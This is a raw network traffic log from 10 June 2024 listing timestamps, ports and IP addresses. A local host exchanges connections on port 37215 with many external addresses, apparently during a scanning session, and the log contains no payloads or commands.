Jun 10, 2024 15:38:00.045141935 CEST	36522	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:38:00.045806885 CEST	37215	57854	156.211.139.234	192.168.2.13
Jun 10, 2024 15:38:00.045836926 CEST	57854	37215	192.168.2.13	156.211.139.234
Jun 10, 2024 15:38:00.045839071 CEST	34632	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:38:00.046451092 CEST	37215	33540	41.69.228.208	192.168.2.13
Jun 10, 2024 15:38:00.046484947 CEST	33540	37215	192.168.2.13	41.69.228.208
Jun 10, 2024 15:38:00.046523094 CEST	59702	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:38:00.046557903 CEST	37215	58564	156.245.2.205	192.168.2.13
Jun 10, 2024 15:38:00.046618938 CEST	37215	37368	156.90.232.117	192.168.2.13
Jun 10, 2024 15:38:00.046627045 CEST	37215	59662	197.50.100.135	192.168.2.13
Jun 10, 2024 15:38:00.046634912 CEST	37215	42556	41.195.163.183	192.168.2.13
Jun 10, 2024 15:38:00.046642065 CEST	37215	38538	41.179.145.152	192.168.2.13
Jun 10, 2024 15:38:00.046649933 CEST	37215	60446	197.226.229.29	192.168.2.13
Jun 10, 2024 15:38:00.047179937 CEST	37215	37698	41.34.192.208	192.168.2.13
Jun 10, 2024 15:38:00.047215939 CEST	37698	37215	192.168.2.13	41.34.192.208
Jun 10, 2024 15:38:00.047236919 CEST	60102	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:38:00.047923088 CEST	55296	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:38:00.047950029 CEST	37215	55306	156.199.176.162	192.168.2.13
Jun 10, 2024 15:38:00.047985077 CEST	55306	37215	192.168.2.13	156.199.176.162
Jun 10, 2024 15:38:00.048547983 CEST	37215	60154	197.176.59.104	192.168.2.13
Jun 10, 2024 15:38:00.048582077 CEST	60154	37215	192.168.2.13	197.176.59.104
Jun 10, 2024 15:38:00.048604965 CEST	57464	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:38:00.049213886 CEST	37215	48850	156.202.215.189	192.168.2.13
Jun 10, 2024 15:38:00.049252033 CEST	48850	37215	192.168.2.13	156.202.215.189
Jun 10, 2024 15:38:00.049289942 CEST	37844	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:38:00.049902916 CEST	37215	36522	41.139.140.243	192.168.2.13
Jun 10, 2024 15:38:00.049942970 CEST	36522	37215	192.168.2.13	41.139.140.243
Jun 10, 2024 15:38:00.050107956 CEST	57678	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:38:00.050628901 CEST	37215	37376	156.15.16.186	192.168.2.13
Jun 10, 2024 15:38:00.050637960 CEST	37215	42520	156.225.196.18	192.168.2.13
Jun 10, 2024 15:38:00.050647974 CEST	37215	53414	156.38.108.66	192.168.2.13
Jun 10, 2024 15:38:00.050664902 CEST	37215	33756	197.244.78.206	192.168.2.13
Jun 10, 2024 15:38:00.050673008 CEST	37215	34412	156.156.74.74	192.168.2.13
Jun 10, 2024 15:38:00.050681114 CEST	37215	54402	41.63.241.27	192.168.2.13
Jun 10, 2024 15:38:00.050715923 CEST	37215	34632	41.79.189.48	192.168.2.13
Jun 10, 2024 15:38:00.050751925 CEST	34632	37215	192.168.2.13	41.79.189.48
Jun 10, 2024 15:38:00.050801039 CEST	33040	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:38:00.051343918 CEST	37215	59702	156.123.237.221	192.168.2.13
Jun 10, 2024 15:38:00.051379919 CEST	59702	37215	192.168.2.13	156.123.237.221
Jun 10, 2024 15:38:00.051481009 CEST	56568	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:38:00.052041054 CEST	37215	60102	197.140.21.238	192.168.2.13
Jun 10, 2024 15:38:00.052076101 CEST	60102	37215	192.168.2.13	197.140.21.238
Jun 10, 2024 15:38:00.052170038 CEST	41532	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:38:00.052772045 CEST	37215	55296	156.209.45.106	192.168.2.13
Jun 10, 2024 15:38:00.052805901 CEST	55296	37215	192.168.2.13	156.209.45.106
Jun 10, 2024 15:38:00.052867889 CEST	39800	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:38:00.053464890 CEST	37215	57464	41.65.114.229	192.168.2.13
Jun 10, 2024 15:38:00.053503036 CEST	57464	37215	192.168.2.13	41.65.114.229
Jun 10, 2024 15:38:00.053570986 CEST	44078	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:38:00.054089069 CEST	37215	37844	156.195.94.23	192.168.2.13
Jun 10, 2024 15:38:00.054127932 CEST	37844	37215	192.168.2.13	156.195.94.23
Jun 10, 2024 15:38:00.054263115 CEST	50148	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:38:00.054601908 CEST	37215	39324	156.211.48.76	192.168.2.13
Jun 10, 2024 15:38:00.054610968 CEST	37215	53538	41.236.7.25	192.168.2.13
Jun 10, 2024 15:38:00.054619074 CEST	37215	45572	197.67.118.32	192.168.2.13
Jun 10, 2024 15:38:00.054630041 CEST	37215	53026	197.57.68.100	192.168.2.13
Jun 10, 2024 15:38:00.054941893 CEST	37215	57678	41.13.119.15	192.168.2.13
Jun 10, 2024 15:38:00.054954052 CEST	44542	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:38:00.054979086 CEST	57678	37215	192.168.2.13	41.13.119.15
Jun 10, 2024 15:38:00.055644035 CEST	45616	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:38:00.055671930 CEST	37215	33040	156.217.108.5	192.168.2.13
Jun 10, 2024 15:38:00.055716991 CEST	33040	37215	192.168.2.13	156.217.108.5
Jun 10, 2024 15:38:00.056318998 CEST	48948	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:38:00.056453943 CEST	37215	56568	197.123.247.90	192.168.2.13
Jun 10, 2024 15:38:00.056504011 CEST	56568	37215	192.168.2.13	197.123.247.90
Jun 10, 2024 15:38:00.056988001 CEST	37215	41532	197.127.189.142	192.168.2.13
Jun 10, 2024 15:38:00.057003975 CEST	34830	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:38:00.057022095 CEST	41532	37215	192.168.2.13	197.127.189.142
Jun 10, 2024 15:38:00.057682991 CEST	53528	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:38:00.057709932 CEST	37215	39800	156.160.21.128	192.168.2.13
Jun 10, 2024 15:38:00.057749987 CEST	39800	37215	192.168.2.13	156.160.21.128
Jun 10, 2024 15:38:00.058362961 CEST	50966	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:38:00.058454990 CEST	37215	44078	41.69.149.120	192.168.2.13
Jun 10, 2024 15:38:00.058501959 CEST	44078	37215	192.168.2.13	41.69.149.120
Jun 10, 2024 15:38:00.059034109 CEST	59998	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:38:00.059102058 CEST	37215	50148	156.179.233.113	192.168.2.13
Jun 10, 2024 15:38:00.059139967 CEST	50148	37215	192.168.2.13	156.179.233.113
Jun 10, 2024 15:38:00.059762001 CEST	60220	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:38:00.059791088 CEST	37215	44542	41.167.61.202	192.168.2.13
Jun 10, 2024 15:38:00.059825897 CEST	44542	37215	192.168.2.13	41.167.61.202
Jun 10, 2024 15:38:00.060458899 CEST	37215	45616	41.124.122.69	192.168.2.13
Jun 10, 2024 15:38:00.060493946 CEST	53280	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:38:00.060498953 CEST	45616	37215	192.168.2.13	41.124.122.69
Jun 10, 2024 15:38:00.061181068 CEST	37215	48948	41.116.99.196	192.168.2.13
Jun 10, 2024 15:38:00.061208010 CEST	33396	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:38:00.061224937 CEST	48948	37215	192.168.2.13	41.116.99.196
Jun 10, 2024 15:38:00.061889887 CEST	37215	34830	197.26.246.153	192.168.2.13
Jun 10, 2024 15:38:00.061924934 CEST	34830	37215	192.168.2.13	197.26.246.153
Jun 10, 2024 15:38:00.061975956 CEST	46806	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:38:00.062685966 CEST	37215	53528	41.9.80.183	192.168.2.13
Jun 10, 2024 15:38:00.062691927 CEST	44576	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:38:00.062695980 CEST	37215	49156	156.245.237.250	192.168.2.13
Jun 10, 2024 15:38:00.062704086 CEST	37215	50268	197.128.25.119	192.168.2.13
Jun 10, 2024 15:38:00.062716007 CEST	37215	43896	41.186.220.178	192.168.2.13
Jun 10, 2024 15:38:00.062721014 CEST	53528	37215	192.168.2.13	41.9.80.183
Jun 10, 2024 15:38:00.062724113 CEST	37215	54964	41.58.54.58	192.168.2.13
Jun 10, 2024 15:38:00.062732935 CEST	37215	32966	41.45.237.96	192.168.2.13
Jun 10, 2024 15:38:00.062741041 CEST	37215	36608	41.223.243.35	192.168.2.13
Jun 10, 2024 15:38:00.062748909 CEST	37215	60502	156.176.31.94	192.168.2.13
Jun 10, 2024 15:38:00.062757969 CEST	37215	40590	41.194.61.76	192.168.2.13
Jun 10, 2024 15:38:00.062766075 CEST	37215	38984	156.122.137.98	192.168.2.13
Jun 10, 2024 15:38:00.062773943 CEST	37215	56360	41.241.121.248	192.168.2.13
Jun 10, 2024 15:38:00.062782049 CEST	37215	52976	197.57.169.86	192.168.2.13
Jun 10, 2024 15:38:00.063380003 CEST	37215	50966	156.110.2.110	192.168.2.13
Jun 10, 2024 15:38:00.063424110 CEST	50966	37215	192.168.2.13	156.110.2.110
Jun 10, 2024 15:38:00.063435078 CEST	58464	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:38:00.063842058 CEST	37215	59998	41.122.109.42	192.168.2.13
Jun 10, 2024 15:38:00.063899994 CEST	59998	37215	192.168.2.13	41.122.109.42
Jun 10, 2024 15:38:00.064168930 CEST	46504	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:38:00.064690113 CEST	37215	60220	41.94.153.112	192.168.2.13
Jun 10, 2024 15:38:00.064730883 CEST	60220	37215	192.168.2.13	41.94.153.112
Jun 10, 2024 15:38:00.064897060 CEST	32862	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:38:00.065335035 CEST	37215	53280	156.226.178.21	192.168.2.13
Jun 10, 2024 15:38:00.065376043 CEST	53280	37215	192.168.2.13	156.226.178.21
Jun 10, 2024 15:38:00.065615892 CEST	48406	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:38:00.066021919 CEST	37215	33396	41.55.41.178	192.168.2.13
Jun 10, 2024 15:38:00.066065073 CEST	33396	37215	192.168.2.13	41.55.41.178
Jun 10, 2024 15:38:00.066340923 CEST	48172	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:38:00.066782951 CEST	37215	46806	197.214.46.200	192.168.2.13
Jun 10, 2024 15:38:00.066828966 CEST	46806	37215	192.168.2.13	197.214.46.200
Jun 10, 2024 15:38:00.067059994 CEST	34652	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:38:00.067683935 CEST	37215	44576	197.152.159.10	192.168.2.13
Jun 10, 2024 15:38:00.067720890 CEST	44576	37215	192.168.2.13	197.152.159.10
Jun 10, 2024 15:38:00.067784071 CEST	43578	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:38:00.068274021 CEST	37215	58464	41.57.17.164	192.168.2.13
Jun 10, 2024 15:38:00.068315983 CEST	58464	37215	192.168.2.13	41.57.17.164
Jun 10, 2024 15:38:00.068495989 CEST	37402	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:38:00.068989992 CEST	37215	46504	197.0.201.185	192.168.2.13
Jun 10, 2024 15:38:00.069025993 CEST	46504	37215	192.168.2.13	197.0.201.185
Jun 10, 2024 15:38:00.069222927 CEST	34518	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:38:00.069684029 CEST	37215	32862	41.237.134.242	192.168.2.13
Jun 10, 2024 15:38:00.069725990 CEST	32862	37215	192.168.2.13	41.237.134.242
Jun 10, 2024 15:38:00.069957972 CEST	48942	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:38:00.070478916 CEST	37215	48406	41.226.55.109	192.168.2.13
Jun 10, 2024 15:38:00.070513964 CEST	48406	37215	192.168.2.13	41.226.55.109
Jun 10, 2024 15:38:00.070640087 CEST	37215	56620	156.24.110.61	192.168.2.13
Jun 10, 2024 15:38:00.070648909 CEST	37215	41708	156.19.135.49	192.168.2.13
Jun 10, 2024 15:38:00.070657015 CEST	37215	57320	156.12.201.188	192.168.2.13
Jun 10, 2024 15:38:00.070662022 CEST	48674	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.070674896 CEST	37215	35452	197.116.197.156	192.168.2.13
Jun 10, 2024 15:38:00.070683956 CEST	37215	44662	41.253.102.61	192.168.2.13
Jun 10, 2024 15:38:00.070692062 CEST	37215	41972	156.163.189.151	192.168.2.13
Jun 10, 2024 15:38:00.070699930 CEST	37215	49654	197.98.178.183	192.168.2.13
Jun 10, 2024 15:38:00.070708036 CEST	37215	52364	197.238.227.229	192.168.2.13
Jun 10, 2024 15:38:00.070715904 CEST	37215	56786	197.59.140.99	192.168.2.13
Jun 10, 2024 15:38:00.070724010 CEST	37215	38164	156.162.243.21	192.168.2.13
Jun 10, 2024 15:38:00.070732117 CEST	37215	48046	197.167.77.113	192.168.2.13
Jun 10, 2024 15:38:00.070741892 CEST	37215	51562	41.130.180.46	192.168.2.13
Jun 10, 2024 15:38:00.071147919 CEST	37215	48172	156.168.245.29	192.168.2.13
Jun 10, 2024 15:38:00.071191072 CEST	48172	37215	192.168.2.13	156.168.245.29
Jun 10, 2024 15:38:00.071417093 CEST	54544	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.071928978 CEST	37215	34652	41.154.67.6	192.168.2.13
Jun 10, 2024 15:38:00.071964979 CEST	34652	37215	192.168.2.13	41.154.67.6
Jun 10, 2024 15:38:00.072139978 CEST	40706	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.072638988 CEST	37215	43578	197.105.96.234	192.168.2.13
Jun 10, 2024 15:38:00.072679043 CEST	43578	37215	192.168.2.13	197.105.96.234
Jun 10, 2024 15:38:00.072887897 CEST	35058	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.073299885 CEST	37215	37402	197.153.65.158	192.168.2.13
Jun 10, 2024 15:38:00.073340893 CEST	37402	37215	192.168.2.13	197.153.65.158
Jun 10, 2024 15:38:00.073611021 CEST	38990	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.074044943 CEST	37215	34518	156.156.125.193	192.168.2.13
Jun 10, 2024 15:38:00.074094057 CEST	34518	37215	192.168.2.13	156.156.125.193
Jun 10, 2024 15:38:00.074332952 CEST	56976	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.074733973 CEST	37215	48942	197.159.13.233	192.168.2.13
Jun 10, 2024 15:38:00.074768066 CEST	48942	37215	192.168.2.13	197.159.13.233
Jun 10, 2024 15:38:00.075076103 CEST	34464	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.075565100 CEST	37215	48674	41.154.147.59	192.168.2.13
Jun 10, 2024 15:38:00.075598001 CEST	48674	37215	192.168.2.13	41.154.147.59
Jun 10, 2024 15:38:00.075774908 CEST	49114	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.076219082 CEST	37215	54544	197.181.198.133	192.168.2.13
Jun 10, 2024 15:38:00.076257944 CEST	54544	37215	192.168.2.13	197.181.198.133
Jun 10, 2024 15:38:00.076503992 CEST	45678	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.076931953 CEST	37215	40706	41.229.216.231	192.168.2.13
Jun 10, 2024 15:38:00.076962948 CEST	40706	37215	192.168.2.13	41.229.216.231
Jun 10, 2024 15:38:00.077187061 CEST	45564	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.077670097 CEST	37215	35058	41.251.58.239	192.168.2.13
Jun 10, 2024 15:38:00.077707052 CEST	35058	37215	192.168.2.13	41.251.58.239
Jun 10, 2024 15:38:00.077883005 CEST	43116	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.078489065 CEST	37215	38990	197.73.57.101	192.168.2.13
Jun 10, 2024 15:38:00.078526974 CEST	38990	37215	192.168.2.13	197.73.57.101
Jun 10, 2024 15:38:00.078557014 CEST	36610	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.078679085 CEST	37215	34938	156.205.120.113	192.168.2.13
Jun 10, 2024 15:38:00.078687906 CEST	37215	42996	197.211.105.203	192.168.2.13
Jun 10, 2024 15:38:00.078696966 CEST	37215	55096	41.59.124.13	192.168.2.13
Jun 10, 2024 15:38:00.078712940 CEST	37215	42370	197.218.185.191	192.168.2.13
Jun 10, 2024 15:38:00.078722000 CEST	37215	43020	156.253.209.134	192.168.2.13
Jun 10, 2024 15:38:00.078728914 CEST	37215	40448	156.11.232.27	192.168.2.13
Jun 10, 2024 15:38:00.078737974 CEST	37215	36414	156.115.29.3	192.168.2.13
Jun 10, 2024 15:38:00.078746080 CEST	37215	42506	197.235.137.220	192.168.2.13
Jun 10, 2024 15:38:00.078753948 CEST	37215	51814	197.105.195.56	192.168.2.13
Jun 10, 2024 15:38:00.078772068 CEST	37215	52142	197.94.187.63	192.168.2.13
Jun 10, 2024 15:38:00.078779936 CEST	37215	41584	41.169.217.182	192.168.2.13
Jun 10, 2024 15:38:00.078788042 CEST	37215	33426	41.199.166.65	192.168.2.13
Jun 10, 2024 15:38:00.079124928 CEST	37215	56976	156.79.171.4	192.168.2.13
Jun 10, 2024 15:38:00.079161882 CEST	56976	37215	192.168.2.13	156.79.171.4
Jun 10, 2024 15:38:00.079305887 CEST	47676	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.079981089 CEST	37215	34464	197.63.251.49	192.168.2.13
Jun 10, 2024 15:38:00.080025911 CEST	34464	37215	192.168.2.13	197.63.251.49
Jun 10, 2024 15:38:00.080190897 CEST	59202	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.080621958 CEST	37215	49114	41.206.110.186	192.168.2.13
Jun 10, 2024 15:38:00.080663919 CEST	49114	37215	192.168.2.13	41.206.110.186
Jun 10, 2024 15:38:00.080882072 CEST	58864	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.081284046 CEST	37215	45678	197.246.123.244	192.168.2.13
Jun 10, 2024 15:38:00.081320047 CEST	45678	37215	192.168.2.13	197.246.123.244
Jun 10, 2024 15:38:00.081564903 CEST	42074	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.081970930 CEST	37215	45564	41.168.73.24	192.168.2.13
Jun 10, 2024 15:38:00.082007885 CEST	45564	37215	192.168.2.13	41.168.73.24
Jun 10, 2024 15:38:00.082278967 CEST	46028	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.082824945 CEST	37215	43116	41.237.191.106	192.168.2.13
Jun 10, 2024 15:38:00.082859039 CEST	43116	37215	192.168.2.13	41.237.191.106
Jun 10, 2024 15:38:00.082986116 CEST	50210	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.083353043 CEST	37215	36610	197.128.46.215	192.168.2.13
Jun 10, 2024 15:38:00.083388090 CEST	36610	37215	192.168.2.13	197.128.46.215
Jun 10, 2024 15:38:00.083728075 CEST	45922	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.084136963 CEST	37215	47676	41.39.55.229	192.168.2.13
Jun 10, 2024 15:38:00.084181070 CEST	47676	37215	192.168.2.13	41.39.55.229
Jun 10, 2024 15:38:00.084439039 CEST	55900	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:38:00.085002899 CEST	37215	59202	156.200.117.215	192.168.2.13
Jun 10, 2024 15:38:00.085043907 CEST	59202	37215	192.168.2.13	156.200.117.215
Jun 10, 2024 15:38:00.085165024 CEST	44874	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.085742950 CEST	37215	58864	156.181.42.38	192.168.2.13
Jun 10, 2024 15:38:00.085772991 CEST	58864	37215	192.168.2.13	156.181.42.38
Jun 10, 2024 15:38:00.085905075 CEST	58106	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:38:00.086464882 CEST	37215	42074	156.250.0.84	192.168.2.13
Jun 10, 2024 15:38:00.086497068 CEST	42074	37215	192.168.2.13	156.250.0.84
Jun 10, 2024 15:38:00.086589098 CEST	37215	33786	156.179.78.181	192.168.2.13
Jun 10, 2024 15:38:00.086608887 CEST	50926	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:38:00.086638927 CEST	37215	50702	156.238.163.110	192.168.2.13
Jun 10, 2024 15:38:00.086647987 CEST	37215	41890	197.253.99.100	192.168.2.13
Jun 10, 2024 15:38:00.086669922 CEST	37215	34742	156.230.39.62	192.168.2.13
Jun 10, 2024 15:38:00.086678028 CEST	37215	36348	41.222.149.196	192.168.2.13
Jun 10, 2024 15:38:00.086685896 CEST	37215	38456	156.139.95.100	192.168.2.13
Jun 10, 2024 15:38:00.086703062 CEST	37215	46642	41.205.70.44	192.168.2.13
Jun 10, 2024 15:38:00.086710930 CEST	37215	51092	197.21.231.68	192.168.2.13
Jun 10, 2024 15:38:00.086719036 CEST	37215	50096	156.175.16.45	192.168.2.13
Jun 10, 2024 15:38:00.087112904 CEST	37215	46028	156.46.209.218	192.168.2.13
Jun 10, 2024 15:38:00.087142944 CEST	46028	37215	192.168.2.13	156.46.209.218
Jun 10, 2024 15:38:00.087331057 CEST	57534	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:38:00.087800980 CEST	37215	50210	156.62.210.214	192.168.2.13
Jun 10, 2024 15:38:00.087845087 CEST	50210	37215	192.168.2.13	156.62.210.214
Jun 10, 2024 15:38:00.088052034 CEST	34482	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:38:00.088583946 CEST	37215	45922	156.25.179.14	192.168.2.13
Jun 10, 2024 15:38:00.088623047 CEST	45922	37215	192.168.2.13	156.25.179.14
Jun 10, 2024 15:38:00.088779926 CEST	41384	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:38:00.089365959 CEST	37215	55900	197.128.202.20	192.168.2.13
Jun 10, 2024 15:38:00.089401007 CEST	55900	37215	192.168.2.13	197.128.202.20
Jun 10, 2024 15:38:00.089502096 CEST	45262	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:38:00.089951038 CEST	37215	44874	197.126.47.34	192.168.2.13
Jun 10, 2024 15:38:00.089984894 CEST	44874	37215	192.168.2.13	197.126.47.34
Jun 10, 2024 15:38:00.090199947 CEST	47364	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:38:00.090785980 CEST	37215	58106	197.144.113.129	192.168.2.13
Jun 10, 2024 15:38:00.090826035 CEST	58106	37215	192.168.2.13	197.144.113.129
Jun 10, 2024 15:38:00.090919018 CEST	46594	37215	192.168.2.13	41.228.140.97
Jun 10, 2024 15:38:00.091519117 CEST	37215	50926	197.29.244.234	192.168.2.13
Jun 10, 2024 15:38:00.091553926 CEST	50926	37215	192.168.2.13	197.29.244.234
Jun 10, 2024 15:38:00.091732979 CEST	34654	37215	192.168.2.13	156.16.252.113
Jun 10, 2024 15:38:00.092164993 CEST	37215	57534	156.166.206.200	192.168.2.13
Jun 10, 2024 15:38:00.092200994 CEST	57534	37215	192.168.2.13	156.166.206.200
Jun 10, 2024 15:38:00.092458963 CEST	54140	37215	192.168.2.13	197.225.243.209
Jun 10, 2024 15:38:00.093080997 CEST	37215	34482	41.10.140.61	192.168.2.13
Jun 10, 2024 15:38:00.093120098 CEST	34482	37215	192.168.2.13	41.10.140.61
Jun 10, 2024 15:38:00.093194962 CEST	57074	37215	192.168.2.13	41.9.164.177
Jun 10, 2024 15:38:00.093673944 CEST	37215	41384	156.203.151.228	192.168.2.13
Jun 10, 2024 15:38:00.093713045 CEST	41384	37215	192.168.2.13	156.203.151.228
Jun 10, 2024 15:38:00.093945980 CEST	50042	37215	192.168.2.13	197.42.26.190
Jun 10, 2024 15:38:00.094319105 CEST	37215	45262	156.193.239.253	192.168.2.13
Jun 10, 2024 15:38:00.094348907 CEST	45262	37215	192.168.2.13	156.193.239.253
Jun 10, 2024 15:38:00.094711065 CEST	47094	37215	192.168.2.13	156.137.31.90
Jun 10, 2024 15:38:00.095164061 CEST	37215	47364	156.60.167.234	192.168.2.13
Jun 10, 2024 15:38:00.095206976 CEST	47364	37215	192.168.2.13	156.60.167.234
Jun 10, 2024 15:38:00.095416069 CEST	55062	37215	192.168.2.13	197.141.161.30
Jun 10, 2024 15:38:00.095976114 CEST	37215	46594	41.228.140.97	192.168.2.13
Jun 10, 2024 15:38:00.096013069 CEST	46594	37215	192.168.2.13	41.228.140.97
Jun 10, 2024 15:38:00.096124887 CEST	60486	37215	192.168.2.13	197.25.198.155
Jun 10, 2024 15:38:00.096657038 CEST	37215	34654	156.16.252.113	192.168.2.13
Jun 10, 2024 15:38:00.096709013 CEST	34654	37215	192.168.2.13	156.16.252.113
Jun 10, 2024 15:38:00.096854925 CEST	33888	37215	192.168.2.13	197.22.241.36
Jun 10, 2024 15:38:00.097368002 CEST	37215	54140	197.225.243.209	192.168.2.13
Jun 10, 2024 15:38:00.097404957 CEST	54140	37215	192.168.2.13	197.225.243.209
Jun 10, 2024 15:38:00.097568035 CEST	56846	37215	192.168.2.13	41.31.222.74
Jun 10, 2024 15:38:00.098028898 CEST	37215	57074	41.9.164.177	192.168.2.13
Jun 10, 2024 15:38:00.098069906 CEST	57074	37215	192.168.2.13	41.9.164.177
Jun 10, 2024 15:38:00.098314047 CEST	54124	37215	192.168.2.13	197.100.180.103
Jun 10, 2024 15:38:00.098879099 CEST	37215	50042	197.42.26.190	192.168.2.13
Jun 10, 2024 15:38:00.098911047 CEST	50042	37215	192.168.2.13	197.42.26.190
Jun 10, 2024 15:38:00.099045038 CEST	52390	37215	192.168.2.13	156.192.233.189
Jun 10, 2024 15:38:00.099560022 CEST	37215	47094	156.137.31.90	192.168.2.13
Jun 10, 2024 15:38:00.099592924 CEST	47094	37215	192.168.2.13	156.137.31.90
Jun 10, 2024 15:38:00.099749088 CEST	53326	37215	192.168.2.13	41.63.57.16
Jun 10, 2024 15:38:00.100215912 CEST	37215	55062	197.141.161.30	192.168.2.13
Jun 10, 2024 15:38:00.100250006 CEST	55062	37215	192.168.2.13	197.141.161.30
Jun 10, 2024 15:38:00.100447893 CEST	34872	37215	192.168.2.13	41.73.107.249
Jun 10, 2024 15:38:00.100930929 CEST	37215	60486	197.25.198.155	192.168.2.13
Jun 10, 2024 15:38:00.100971937 CEST	60486	37215	192.168.2.13	197.25.198.155
Jun 10, 2024 15:38:00.101196051 CEST	49858	37215	192.168.2.13	156.36.86.237
Jun 10, 2024 15:38:00.101650000 CEST	37215	33888	197.22.241.36	192.168.2.13
Jun 10, 2024 15:38:00.101687908 CEST	33888	37215	192.168.2.13	197.22.241.36
Jun 10, 2024 15:38:00.101916075 CEST	33494	37215	192.168.2.13	197.159.198.51
Jun 10, 2024 15:38:00.102369070 CEST	37215	56846	41.31.222.74	192.168.2.13
Jun 10, 2024 15:38:00.102404118 CEST	56846	37215	192.168.2.13	41.31.222.74
Jun 10, 2024 15:38:00.102641106 CEST	59904	37215	192.168.2.13	197.114.103.51
Jun 10, 2024 15:38:00.103142977 CEST	37215	54124	197.100.180.103	192.168.2.13
Jun 10, 2024 15:38:00.103178978 CEST	54124	37215	192.168.2.13	197.100.180.103
Jun 10, 2024 15:38:00.103349924 CEST	43084	37215	192.168.2.13	156.178.253.203
Jun 10, 2024 15:38:00.103846073 CEST	37215	52390	156.192.233.189	192.168.2.13
Jun 10, 2024 15:38:00.103890896 CEST	52390	37215	192.168.2.13	156.192.233.189
Jun 10, 2024 15:38:00.104043961 CEST	51868	37215	192.168.2.13	197.27.124.211
Jun 10, 2024 15:38:00.104609966 CEST	37215	53326	41.63.57.16	192.168.2.13
Jun 10, 2024 15:38:00.104655981 CEST	53326	37215	192.168.2.13	41.63.57.16
Jun 10, 2024 15:38:00.104782104 CEST	45428	37215	192.168.2.13	156.103.207.1
Jun 10, 2024 15:38:00.105228901 CEST	37215	34872	41.73.107.249	192.168.2.13
Jun 10, 2024 15:38:00.105267048 CEST	34872	37215	192.168.2.13	41.73.107.249
Jun 10, 2024 15:38:00.105490923 CEST	42124	37215	192.168.2.13	41.235.244.224
Jun 10, 2024 15:38:00.106054068 CEST	37215	49858	156.36.86.237	192.168.2.13
Jun 10, 2024 15:38:00.106089115 CEST	49858	37215	192.168.2.13	156.36.86.237
Jun 10, 2024 15:38:00.106200933 CEST	57242	37215	192.168.2.13	197.145.93.184
Jun 10, 2024 15:38:00.106733084 CEST	37215	33494	197.159.198.51	192.168.2.13
Jun 10, 2024 15:38:00.106771946 CEST	33494	37215	192.168.2.13	197.159.198.51
Jun 10, 2024 15:38:00.106905937 CEST	56428	37215	192.168.2.13	197.11.239.20
Jun 10, 2024 15:38:00.107537985 CEST	37215	59904	197.114.103.51	192.168.2.13
Jun 10, 2024 15:38:00.107579947 CEST	59904	37215	192.168.2.13	197.114.103.51
Jun 10, 2024 15:38:00.107652903 CEST	33930	37215	192.168.2.13	41.183.245.26
Jun 10, 2024 15:38:00.108169079 CEST	37215	43084	156.178.253.203	192.168.2.13
Jun 10, 2024 15:38:00.108208895 CEST	43084	37215	192.168.2.13	156.178.253.203
Jun 10, 2024 15:38:00.108336926 CEST	39526	37215	192.168.2.13	156.14.175.34
Jun 10, 2024 15:38:00.108880997 CEST	37215	51868	197.27.124.211	192.168.2.13
